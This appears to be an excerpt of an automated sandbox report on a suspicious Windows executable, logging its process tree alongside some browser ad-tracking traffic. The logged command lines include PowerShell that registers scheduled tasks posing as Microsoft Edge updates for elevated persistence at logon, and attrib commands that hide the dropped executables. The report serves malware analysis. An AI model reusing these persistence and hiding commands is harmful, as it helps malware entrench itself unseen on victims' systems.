2024-12-29 12:55:58 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:58 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: NE65+VhmRSA= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-071cbe4c4.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:58 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:58 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:58 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50814	34.198.65.183	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:58 UTC	591	OUT	GET /CookieSyncAdobe HTTP/1.1 Host: rtb.adentifi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:58 UTC	128	IN	HTTP/1.1 204 No Content Date: Sun, 29 Dec 2024 12:55:58 GMT Content-Type: text/plain Content-Length: 0 Connection: close

Target ID:	0
Start time:	07:52:46
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe"
Imagebase:	0x7ff77b1e0000
File size:	38'135'059 bytes
MD5 hash:	477D3B9EE775C048F96B450DD00BA490
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:52:47
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe"
Imagebase:	0x7ff77b1e0000
File size:	38'135'059 bytes
MD5 hash:	477D3B9EE775C048F96B450DD00BA490
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:52:49
Start date:	29/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' "
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:52:49
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:52:50
Start date:	29/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../WinHex.exe'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnceMe' -Description 'MicrosoftEdgeUpdatesOnce once You' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnceMe' "
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:52:50
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:52:50
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +s +a +h C:\Users\user\AppData\LineInst.exe&&attrib +s +a +h C:\Users\user\AppData\WinHex.exe&&attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:52:50
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:52:51
Start date:	29/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +s +a +h C:\Users\user\AppData\LineInst.exe
Imagebase:	0x7ff6c4420000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:52:51
Start date:	29/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +s +a +h C:\Users\user\AppData\WinHex.exe
Imagebase:	0x7ff6c4420000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:52:51
Start date:	29/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe
Imagebase:	0x7ff6c4420000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:52:55
Start date:	29/12/2024
Path:	C:\Users\user\AppData\WinHex.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\../WinHex.exe
Imagebase:	0x7ff635920000
File size:	19'293'911 bytes
MD5 hash:	EFDC5DBA52333C0F5EEEDB0308FBE2D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	07:52:55
Start date:	29/12/2024
Path:	C:\Users\user\AppData\LineInst.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\../LineInst.exe
Imagebase:	0x820000
File size:	19'463'448 bytes
MD5 hash:	AA2AD37BB74C05A49417E3D2F1BD89CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	07:52:58
Start date:	29/12/2024
Path:	C:\$Windows.~WS\Sources\SetupHost.exe
Wow64 process (32bit):	true
Commandline:	"C:\$Windows.~WS\Sources\SetupHost.Exe" /Download /Web
Imagebase:	0x6d0000
File size:	699'192 bytes
MD5 hash:	A5D94F9587F97E9C674447447721B77F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	07:52:59
Start date:	29/12/2024
Path:	C:\Users\user\AppData\WinHex.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\../WinHex.exe
Imagebase:	0x7ff635920000
File size:	19'293'911 bytes
MD5 hash:	EFDC5DBA52333C0F5EEEDB0308FBE2D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	07:53:00
Start date:	29/12/2024
Path:	C:\Windows\System32\vdsldr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\vdsldr.exe -Embedding
Imagebase:	0x7ff6eb7c0000
File size:	27'136 bytes
MD5 hash:	472A05A6ADC167E9E5D2328AD98E3067
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:53:00
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\SystemUpdate.exe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	07:53:00
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	07:53:00
Start date:	29/12/2024
Path:	C:\Users\user\AppData\SystemUpdate.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\SystemUpdate.exe
Imagebase:	0x7ff6442d0000
File size:	5'387'223 bytes
MD5 hash:	6BDDA8BA15F8F472FE7D065689E7D35D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	07:53:01
Start date:	29/12/2024
Path:	C:\Users\user\AppData\SystemUpdate.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\SystemUpdate.exe
Imagebase:	0x7ff6442d0000
File size:	5'387'223 bytes
MD5 hash:	6BDDA8BA15F8F472FE7D065689E7D35D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	07:53:03
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:53:03
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:53:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:53:08
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7976, Parent PID: 7968

General

Target ID:	27
Start time:	07:53:08
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:53:08
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	07:53:14
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8080, Parent PID: 8072

General

Target ID:	30
Start time:	07:53:14
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:53:14
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:53:19
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8180, Parent PID: 8172

General

Target ID:	33
Start time:	07:53:19
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:53:19
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:53:24
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7104, Parent PID: 6968

General

Target ID:	36
Start time:	07:53:24
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:53:24
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:53:29
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4312, Parent PID: 1860

General

Target ID:	39
Start time:	07:53:29
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:53:29
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	07:53:33
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2936, Parent PID: 7264

General

Target ID:	42
Start time:	07:53:33
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	07:53:34
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:53:39
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 928, Parent PID: 3448

General

Target ID:	45
Start time:	07:53:39
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	07:53:39
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:53:44
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3300, Parent PID: 7700

General

Target ID:	48
Start time:	07:53:44
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:53:44
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	07:53:50
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7916, Parent PID: 7856

General

Target ID:	51
Start time:	07:53:50
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	07:53:50
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	07:53:57
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7960, Parent PID: 1420

General

Target ID:	54
Start time:	07:53:57
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	07:53:57
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	07:53:58
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	07:53:59
Start date:	29/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	07:53:59
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1936,i,15628791438985490340,2968363924654632854,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

